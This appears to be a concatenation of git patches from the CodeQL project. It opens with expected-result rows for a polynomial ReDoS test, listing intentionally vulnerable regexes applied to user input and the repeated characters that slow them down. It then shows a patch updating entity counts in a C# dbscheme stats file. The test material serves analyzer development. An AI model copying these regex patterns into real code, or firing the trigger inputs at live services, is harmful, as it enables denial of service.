/^(K\|Y) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:63:21:63:27 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'Y'. | polynomial-redos.js:63:11:63:12 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:64:3:64:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:64:24:64:30 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fooK' and with many repetitions of 'Y'. | polynomial-redos.js:64:14:64:15 | Y* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:65:3:65:31 | /^foo(K ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:65:24:65:30 | tainted | This $@ that depends on $@ may run slow on strings starting with 'fooK' and with many repetitions of 'K'. | polynomial-redos.js:65:14:65:15 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:66:3:66:26 | /(K\|Y). ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:66:19:66:25 | tainted | This $@ that depends on $@ may run slow on strings starting with 'K' and with many repetitions of 'K'. | polynomial-redos.js:66:9:66:10 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:67:3:67:25 | /[^Y].* ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:67:18:67:24 | tainted | This $@ that depends on $@ may run slow on strings starting with 'X' and with many repetitions of 'Z'. | polynomial-redos.js:67:8:67:9 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:69:3:69:26 | /[^Y].* ... q.body) | polynomial-redos.js:69:18:69:25 | req.body | polynomial-redos.js:69:18:69:25 | req.body | This $@ that depends on $@ may run slow on strings starting with 'X' and with many repetitions of 'X'. | polynomial-redos.js:69:8:69:9 | .* | regular expression | polynomial-redos.js:69:18:69:25 | req.body | a user-provided value | +| polynomial-redos.js:71:2:71:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:71:2:71:8 | tainted | This $@ that depends on $@ may run slow on strings starting with ',-+' and with many repetitions of '++'. | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:73:2:73:60 | tainted ... LWP7")) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:73:2:73:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'MSIE 9.9' and with many repetitions of '9'. | polynomial-redos.js:73:50:73:51 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<' and with many repetitions of '<'. | polynomial-redos.js:75:18:75:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:75:2:75:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:75:2:75:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '<class="!"' and with many repetitions of 'class="!"'. | polynomial-redos.js:75:35:75:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:77:2:77:22 | tainted ... /Y.*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:77:2:77:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'Y' and with many repetitions of 'Y'. | polynomial-redos.js:77:18:77:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:80:2:80:21 | tainted.match(/a*b/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:80:2:80:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:80:17:80:18 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:81:2:81:22 | tainted ... /cc*D/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:81:2:81:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'c' and with many repetitions of 'c'. | polynomial-redos.js:81:18:81:19 | c* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:86:2:86:32 | tainted ... ab)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:86:2:86:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'ab' and with many repetitions of 'ab'. | polynomial-redos.js:86:25:86:29 | (ab)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:88:2:88:22 | tainted ... /aa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:88:2:88:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:88:18:88:19 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:89:2:89:24 | tainted ... a*a*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:89:2:89:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:89:20:89:21 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:90:2:90:23 | tainted ... \\wa*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:90:2:90:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:90:19:90:20 | a* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:94:2:94:40 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:94:2:94:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '3'. | polynomial-redos.js:94:28:94:37 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:95:2:95:33 | tainted ... \|B)*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:95:2:95:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '2'. | polynomial-redos.js:95:21:95:30 | ([2-5]\|B)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:96:2:96:33 | tainted ... *\\d*X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:96:2:96:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '3'. | polynomial-redos.js:96:28:96:30 | \\d* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:98:2:98:32 | tainted ... ab)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:98:2:98:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'abab' and with many repetitions of 'abab'. | polynomial-redos.js:98:25:98:29 | (ab)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:100:2:100:22 | tainted ... /aa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:100:2:100:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:100:18:100:19 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:101:2:101:21 | tainted.match(/a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:101:2:101:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:101:17:101:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:102:2:102:24 | tainted ... a+a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:103:2:103:23 | tainted ... \\wa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:103:2:103:8 | tainted | This $@ that depends on $@ may run slow on strings starting with 'a' and with many repetitions of 'a'. | polynomial-redos.js:103:19:103:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:104:2:104:24 | tainted ... +b+c+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of 'a'. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:107:2:107:40 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:107:2:107:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '3' and with many repetitions of '3'. | polynomial-redos.js:107:28:107:37 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:108:2:108:33 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:108:2:108:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '9' and with many repetitions of '2'. | polynomial-redos.js:108:21:108:30 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:109:2:109:33 | tainted ... +\\d+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:109:2:109:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '3' and with many repetitions of '3'. | polynomial-redos.js:109:28:109:30 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:111:2:111:22 | tainted ... /\\s*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:112:2:112:22 | tainted ... /\\s+$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:114:2:114:27 | tainted ... 5\\w*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '5' and with many repetitions of '5'. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:116:2:116:35 | tainted ... \\*\\//g) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This $@ that depends on $@ may run slow on strings starting with '/*' and with many repetitions of 'a/*'. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:118:2:118:25 | tainted ... \\d+)+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This $@ that depends on $@ may run slow on strings with many repetitions of '9'. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:124:12:124:43 | result. ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This $@ that depends on $@ may run slow on strings with many repetitions of ' '. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | From 66d8b0f1a0fb8ec0f8ceafd9ef431f712c85323a Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 14:11:28 +0100 Subject: [PATCH 0588/1241] Add new .stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 5169 ++++++++--------- 1 file changed, 2584 insertions(+), 2585 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index f60c0b8ec1e..4f550902e34 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -9,7 +9,7 @@ </e> <e> <k>@extractor_message</k> -<v>7682</v> +<v>7617</v> </e> <e> <k>@externalDefect</k> @@ -25,7 +25,7 @@ </e> <e> <k>@duplication</k> -<v>22774</v> +<v>22766</v> </e> <e> <k>@similarity</k> @@ -33,31 +33,31 @@ </e> <e> <k>@location_default</k> -<v>14071854</v> +<v>14072002</v> </e> <e> <k>@assembly</k> -<v>4205</v> +<v>4204</v> </e> <e> <k>@file</k> -<v>42539</v> +<v>42524</v> </e> <e> <k>@folder</k> -<v>16968</v> +<v>16962</v> </e> <e> <k>@namespace</k> -<v>21979</v> +<v>21971</v> </e> <e> <k>@namespace_declaration</k> -<v>19793</v> +<v>19786</v> </e> <e> <k>@using_namespace_directive</k> -<v>144498</v> +<v>144448</v> </e> <e> <k>@using_static_directive</k> @@ -117,23 +117,23 @@ </e> <e> <k>@enum_type</k> -<v>11972</v> +<v>11968</v> </e> <e> <k>@struct_type</k> -<v>49750</v> +<v>49732</v> </e> <e> <k>@class_type</k> -<v>305620</v> +<v>305512</v> </e> <e> <k>@interface_type</k> -<v>178417</v> +<v>178354</v> </e> <e> <k>@delegate_type</k> -<v>107750</v> +<v>107713</v> </e> <e> <k>@null_type</k> @@ -141,7 +141,7 @@ </e> <e> <k>@type_parameter</k> -<v>202943</v> +<v>202872</v> </e> <e> <k>@pointer_type</k> @@ -153,7 +153,7 @@ </e> <e> <k>@array_type</k> -<v>9138</v> +<v>9134</v> </e> <e> <k>@void_type</k> @@ -185,19 +185,19 @@ </e> <e> <k>@typeref</k> -<v>235192</v> +<v>235110</v> </e> <e> <k>@attribute</k> -<v>750562</v> +<v>750284</v> </e> <e> <k>@type_mention</k> -<v>1269461</v> +<v>1268966</v> </e> <e> <k>@oblivious</k> -<v>1317</v> +<v>1316</v> </e> <e> <k>@not_annotated</k> @@ -205,11 +205,11 @@ </e> <e> <k>@annotated</k> -<v>119</v> +<v>116</v> </e> <e> <k>@type_parameter_constraints</k> -<v>611825</v> +<v>611610</v> </e> <e> <k>@modifier</k> @@ -217,43 +217,43 @@ </e> <e> <k>@property</k> -<v>424250</v> +<v>424101</v> </e> <e> <k>@indexer</k> -<v>17071</v> +<v>17065</v> </e> <e> <k>@getter</k> -<v>441087</v> +<v>440933</v> </e> <e> <k>@setter</k> -<v>127744</v> +<v>127699</v> </e> <e> <k>@event</k> -<v>15256</v> +<v>15251</v> </e> <e> <k>@add_event_accessor</k> -<v>15256</v> +<v>15251</v> </e> <e> <k>@remove_event_accessor</k> -<v>15256</v> +<v>15251</v> </e> <e> <k>@operator</k> -<v>12431</v> +<v>12427</v> </e> <e> <k>@method</k> -<v>1118769</v> +<v>1118142</v> </e> <e> <k>@constructor</k> -<v>278112</v> +<v>278015</v> </e> <e> <k>@destructor</k> @@ -265,15 +265,15 @@ </e> <e> <k>@addressable_field</k> -<v>371099</v> +<v>370969</v> </e> <e> <k>@constant</k> -<v>185530</v> +<v>185465</v> </e> <e> <k>@addressable_local_variable</k> -<v>162444</v> +<v>162452</v> </e> <e> <k>@local_constant</k> @@ -285,19 +285,19 @@ </e> <e> <k>@parameter</k> -<v>2421790</v> +<v>2420706</v> </e> <e> <k>@block_stmt</k> -<v>308574</v> +<v>308455</v> </e> <e> <k>@expr_stmt</k> -<v>367835</v> +<v>367706</v> </e> <e> <k>@return_stmt</k> -<v>96195</v> +<v>96158</v> </e> <e> <k>@using_block_stmt</k> @@ -305,19 +305,19 @@ </e> <e> <k>@var_decl_stmt</k> -<v>147915</v> +<v>147916</v> </e> <e> <k>@if_stmt</k> -<v>119173</v> +<v>119127</v> </e> <e> <k>@switch_stmt</k> -<v>3049</v> +<v>3048</v> </e> <e> <k>@while_stmt</k> -<v>4544</v> +<v>4542</v> </e> <e> <k>@do_stmt</k> @@ -325,23 +325,23 @@ </e> <e> <k>@for_stmt</k> -<v>6966</v> +<v>6964</v> </e> <e> <k>@foreach_stmt</k> -<v>5361</v> +<v>5360</v> </e> <e> <k>@break_stmt</k> -<v>10913</v> +<v>10909</v> </e> <e> <k>@continue_stmt</k> -<v>2187</v> +<v>2186</v> </e> <e> <k>@goto_stmt</k> -<v>2700</v> +<v>2699</v> </e> <e> <k>@goto_case_stmt</k> @@ -353,7 +353,7 @@ </e> <e> <k>@throw_stmt</k> -<v>74338</v> +<v>74309</v> </e> <e> <k>@yield_stmt</k> @@ -361,7 +361,7 @@ </e> <e> <k>@try_stmt</k> -<v>4325</v> +<v>4323</v> </e> <e> <k>@checked_stmt</k> @@ -373,7 +373,7 @@ </e> <e> <k>@lock_stmt</k> -<v>1660</v> +<v>1659</v> </e> <e> <k>@const_decl_stmt</k> @@ -389,19 +389,19 @@ </e> <e> <k>@fixed_stmt</k> -<v>1126</v> +<v>1125</v> </e> <e> <k>@label_stmt</k> -<v>1009</v> +<v>1008</v> </e> <e> <k>@catch</k> -<v>3440</v> +<v>3438</v> </e> <e> <k>@case_stmt</k> -<v>22446</v> +<v>22437</v> </e> <e> <k>@local_function_stmt</k> @@ -413,15 +413,15 @@ </e> <e> <k>@bool_literal_expr</k> -<v>69528</v> +<v>69501</v> </e> <e> <k>@int_literal_expr</k> -<v>755600</v> +<v>754021</v> </e> <e> <k>@long_literal_expr</k> -<v>325</v> +<v>324</v> </e> <e> <k>@double_literal_expr</k> @@ -429,11 +429,11 @@ </e> <e> <k>@string_literal_expr</k> -<v>412438</v> +<v>412294</v> </e> <e> <k>@null_literal_expr</k> -<v>107812</v> +<v>107843</v> </e> <e> <k>@local_variable_access_expr</k> @@ -441,51 +441,51 @@ </e> <e> <k>@parameter_access_expr</k> -<v>357577</v> +<v>357439</v> </e> <e> <k>@field_access_expr</k> -<v>460413</v> +<v>460251</v> </e> <e> <k>@property_access_expr</k> -<v>359717</v> +<v>359591</v> </e> <e> <k>@type_access_expr</k> -<v>347109</v> +<v>347153</v> </e> <e> <k>@typeof_expr</k> -<v>30098</v> +<v>30087</v> </e> <e> <k>@method_invocation_expr</k> -<v>548155</v> +<v>548159</v> </e> <e> <k>@cast_expr</k> -<v>262888</v> +<v>262786</v> </e> <e> <k>@object_creation_expr</k> -<v>62875</v> +<v>62852</v> </e> <e> <k>@array_creation_expr</k> -<v>179509</v> +<v>179332</v> </e> <e> <k>@array_init_expr</k> -<v>179049</v> +<v>178872</v> </e> <e> <k>@local_var_decl_expr</k> -<v>163750</v> +<v>163758</v> </e> <e> <k>@char_literal_expr</k> -<v>15899</v> +<v>15893</v> </e> <e> <k>@decimal_literal_expr</k> @@ -493,7 +493,7 @@ </e> <e> <k>@uint_literal_expr</k> -<v>2367</v> +<v>2366</v> </e> <e> <k>@ulong_literal_expr</k> @@ -505,11 +505,11 @@ </e> <e> <k>@this_access_expr</k> -<v>592827</v> +<v>592619</v> </e> <e> <k>@base_access_expr</k> -<v>2821</v> +<v>2820</v> </e> <e> <k>@method_access_expr</k> @@ -521,15 +521,15 @@ </e> <e> <k>@indexer_access_expr</k> -<v>30810</v> +<v>30799</v> </e> <e> <k>@array_access_expr</k> -<v>19751</v> +<v>19743</v> </e> <e> <k>@delegate_invocation_expr</k> -<v>2140</v> +<v>2139</v> </e> <e> <k>@operator_invocation_expr</k> @@ -541,11 +541,11 @@ </e> <e> <k>@implicit_delegate_creation_expr</k> -<v>5117</v> +<v>5116</v> </e> <e> <k>@default_expr</k> -<v>6359</v> +<v>6356</v> </e> <e> <k>@plus_expr</k> @@ -553,7 +553,7 @@ </e> <e> <k>@minus_expr</k> -<v>7144</v> +<v>7141</v> </e> <e> <k>@bit_not_expr</k> @@ -561,15 +561,15 @@ </e> <e> <k>@log_not_expr</k> -<v>26429</v> +<v>26419</v> </e> <e> <k>@post_incr_expr</k> -<v>12567</v> +<v>12562</v> </e> <e> <k>@post_decr_expr</k> -<v>1739</v> +<v>1738</v> </e> <e> <k>@pre_incr_expr</k> @@ -581,7 +581,7 @@ </e> <e> <k>@mul_expr</k> -<v>4627</v> +<v>4625</v> </e> <e> <k>@div_expr</k> @@ -589,51 +589,51 @@ </e> <e> <k>@rem_expr</k> -<v>717</v> +<v>716</v> </e> <e> <k>@add_expr</k> -<v>27885</v> +<v>27874</v> </e> <e> <k>@sub_expr</k> -<v>12844</v> +<v>12839</v> </e> <e> <k>@lshift_expr</k> -<v>4050</v> +<v>4048</v> </e> <e> <k>@rshift_expr</k> -<v>1765</v> +<v>1764</v> </e> <e> <k>@lt_expr</k> -<v>16298</v> +<v>16292</v> </e> <e> <k>@gt_expr</k> -<v>9588</v> +<v>9585</v> </e> <e> <k>@le_expr</k> -<v>3897</v> +<v>3896</v> </e> <e> <k>@ge_expr</k> -<v>6283</v> +<v>6281</v> </e> <e> <k>@eq_expr</k> -<v>53925</v> +<v>53904</v> </e> <e> <k>@ne_expr</k> -<v>37960</v> +<v>37945</v> </e> <e> <k>@bit_and_expr</k> -<v>6331</v> +<v>6328</v> </e> <e> <k>@bit_xor_expr</k> @@ -641,35 +641,35 @@ </e> <e> <k>@bit_or_expr</k> -<v>14991</v> +<v>14985</v> </e> <e> <k>@log_and_expr</k> -<v>20835</v> +<v>20827</v> </e> <e> <k>@log_or_expr</k> -<v>14082</v> +<v>14076</v> </e> <e> <k>@is_expr</k> -<v>6719</v> +<v>6717</v> </e> <e> <k>@as_expr</k> -<v>2759</v> +<v>2758</v> </e> <e> <k>@null_coalescing_expr</k> -<v>3683</v> +<v>3682</v> </e> <e> <k>@conditional_expr</k> -<v>9156</v> +<v>9153</v> </e> <e> <k>@simple_assign_expr</k> -<v>167488</v> +<v>167429</v> </e> <e> <k>@assign_add_expr</k> @@ -713,7 +713,7 @@ </e> <e> <k>@object_init_expr</k> -<v>7698</v> +<v>7696</v> </e> <e> <k>@collection_init_expr</k> @@ -729,7 +729,7 @@ </e> <e> <k>@constructor_init_expr</k> -<v>5821</v> +<v>5819</v> </e> <e> <k>@add_event_expr</k> @@ -745,7 +745,7 @@ </e> <e> <k>@lambda_expr</k> -<v>48852</v> +<v>48835</v> </e> <e> <k>@anonymous_method_expr</k> @@ -761,15 +761,15 @@ </e> <e> <k>@dynamic_member_access_expr</k> -<v>6854</v> +<v>6852</v> </e> <e> <k>@pointer_indirection_expr</k> -<v>4059</v> +<v>4058</v> </e> <e> <k>@address_of_expr</k> -<v>1251</v> +<v>1250</v> </e> <e> <k>@sizeof_expr</k> @@ -777,11 +777,11 @@ </e> <e> <k>@await_expr</k> -<v>54843</v> +<v>54824</v> </e> <e> <k>@nameof_expr</k> -<v>15936</v> +<v>15930</v> </e> <e> <k>@interpolated_string_expr</k> @@ -793,7 +793,7 @@ </e> <e> <k>@throw_expr</k> -<v>1543</v> +<v>1542</v> </e> <e> <k>@tuple_expr</k> @@ -825,11 +825,11 @@ </e> <e> <k>@recursive_pattern_expr</k> -<v>1011</v> +<v>1013</v> </e> <e> <k>@property_pattern_expr</k> -<v>828</v> +<v>830</v> </e> <e> <k>@positional_pattern_expr</k> @@ -841,17 +841,21 @@ </e> <e> <k>@assign_coalesce_expr</k> -<v>544</v> +<v>543</v> </e> <e> <k>@suppress_nullable_warning_expr</k> -<v>14407</v> +<v>14401</v> </e> <e> <k>@namespace_access_expr</k> <v>20</v> </e> <e> +<k>@not_pattern_expr</k> +<v>74</v> +</e> +<e> <k>@xmldtd</k> <v>6</v> </e> @@ -877,19 +881,19 @@ </e> <e> <k>@singlelinecomment</k> -<v>184733</v> +<v>184662</v> </e> <e> <k>@multilinecomment</k> -<v>22109</v> +<v>22100</v> </e> <e> <k>@xmldoccomment</k> -<v>203727</v> +<v>203648</v> </e> <e> <k>@commentblock</k> -<v>144309</v> +<v>144253</v> </e> <e> <k>@asp_close_tag</k> @@ -929,7 +933,7 @@ </e> <e> <k>@cil_nop</k> -<v>820326</v> +<v>820008</v> </e> <e> <k>@cil_break</k> @@ -937,147 +941,147 @@ </e> <e> <k>@cil_ldarg_0</k> -<v>3976427</v> +<v>3975031</v> </e> <e> <k>@cil_ldarg_1</k> -<v>1217025</v> +<v>1216598</v> </e> <e> <k>@cil_ldarg_2</k> -<v>444010</v> +<v>443854</v> </e> <e> <k>@cil_ldarg_3</k> -<v>209227</v> +<v>209153</v> </e> <e> <k>@cil_ldloc_0</k> -<v>929535</v> +<v>929209</v> </e> <e> <k>@cil_ldloc_1</k> -<v>494072</v> +<v>493899</v> </e> <e> <k>@cil_ldloc_2</k> -<v>288807</v> +<v>288705</v> </e> <e> <k>@cil_ldloc_3</k> -<v>192116</v> +<v>192049</v> </e> <e> <k>@cil_stloc_0</k> -<v>525122</v> +<v>524938</v> </e> <e> <k>@cil_stloc_1</k> -<v>260587</v> +<v>260496</v> </e> <e> <k>@cil_stloc_2</k> -<v>198371</v> +<v>198302</v> </e> <e> <k>@cil_stloc_3</k> -<v>138341</v> +<v>138293</v> </e> <e> <k>@cil_ldarg_s</k> -<v>264598</v> +<v>264505</v> </e> <e> <k>@cil_ldarga_s</k> -<v>74793</v> +<v>74767</v> </e> <e> <k>@cil_starg_s</k> -<v>37187</v> +<v>37174</v> </e> <e> <k>@cil_ldloc_s</k> -<v>686585</v> +<v>686344</v> </e> <e> <k>@cil_ldloca_s</k> -<v>629443</v> +<v>629222</v> </e> <e> <k>@cil_stloc_s</k> -<v>480997</v> +<v>480828</v> </e> <e> <k>@cil_ldnull</k> -<v>603911</v> +<v>603700</v> </e> <e> <k>@cil_ldc_i4_m1</k> -<v>126241</v> +<v>126197</v> </e> <e> <k>@cil_ldc_i4_0</k> -<v>625784</v> +<v>625564</v> </e> <e> <k>@cil_ldc_i4_1</k> -<v>494814</v> +<v>494640</v> </e> <e> <k>@cil_ldc_i4_2</k> -<v>121070</v> +<v>121027</v> </e> <e> <k>@cil_ldc_i4_3</k> -<v>64172</v> +<v>64149</v> </e> <e> <k>@cil_ldc_i4_4</k> -<v>58898</v> +<v>58877</v> </e> <e> <k>@cil_ldc_i4_5</k> -<v>38694</v> +<v>38681</v> </e> <e> <k>@cil_ldc_i4_6</k> -<v>23272</v> +<v>23264</v> </e> <e> <k>@cil_ldc_i4_7</k> -<v>20759</v> +<v>20752</v> </e> <e> <k>@cil_ldc_i4_8</k> -<v>33493</v> +<v>33481</v> </e> <e> <k>@cil_ldc_i4_s</k> -<v>423470</v> +<v>423321</v> </e> <e> <k>@cil_ldc_i4</k> -<v>511017</v> +<v>510838</v> </e> <e> <k>@cil_ldc_i8</k> -<v>4888</v> +<v>4886</v> </e> <e> <k>@cil_ldc_r4</k> -<v>10265</v> +<v>10261</v> </e> <e> <k>@cil_ldc_r8</k> -<v>10333</v> +<v>10329</v> </e> <e> <k>@cil_dup</k> -<v>842461</v> +<v>842166</v> </e> <e> <k>@cil_pop</k> -<v>256547</v> +<v>256457</v> </e> <e> <k>@cil_jmp</k> @@ -1085,7 +1089,7 @@ </e> <e> <k>@cil_call</k> -<v>2742696</v> +<v>2741733</v> </e> <e> <k>@cil_calli</k> @@ -1093,55 +1097,55 @@ </e> <e> <k>@cil_ret</k> -<v>1787248</v> +<v>1786621</v> </e> <e> <k>@cil_br_s</k> -<v>345973</v> +<v>345852</v> </e> <e> <k>@cil_brfalse_s</k> -<v>466175</v> +<v>466011</v> </e> <e> <k>@cil_brtrue_s</k> -<v>430900</v> +<v>430749</v> </e> <e> <k>@cil_beq_s</k> -<v>82297</v> +<v>82268</v> </e> <e> <k>@cil_bge_s</k> -<v>34942</v> +<v>34930</v> </e> <e> <k>@cil_bgt_s</k> -<v>16505</v> +<v>16499</v> </e> <e> <k>@cil_ble_s</k> -<v>29214</v> +<v>29204</v> </e> <e> <k>@cil_blt_s</k> -<v>60962</v> +<v>60940</v> </e> <e> <k>@cil_bne_un_s</k> -<v>102706</v> +<v>102669</v> </e> <e> <k>@cil_bge_un_s</k> -<v>2185</v> +<v>2184</v> </e> <e> <k>@cil_bgt_un_s</k> -<v>8738</v> +<v>8735</v> </e> <e> <k>@cil_ble_un_s</k> -<v>6123</v> +<v>6120</v> </e> <e> <k>@cil_blt_un_s</k> @@ -1149,19 +1153,19 @@ </e> <e> <k>@cil_br</k> -<v>96202</v> +<v>96168</v> </e> <e> <k>@cil_brfalse</k> -<v>32410</v> +<v>32399</v> </e> <e> <k>@cil_brtrue</k> -<v>27346</v> +<v>27336</v> </e> <e> <k>@cil_beq</k> -<v>21520</v> +<v>21513</v> 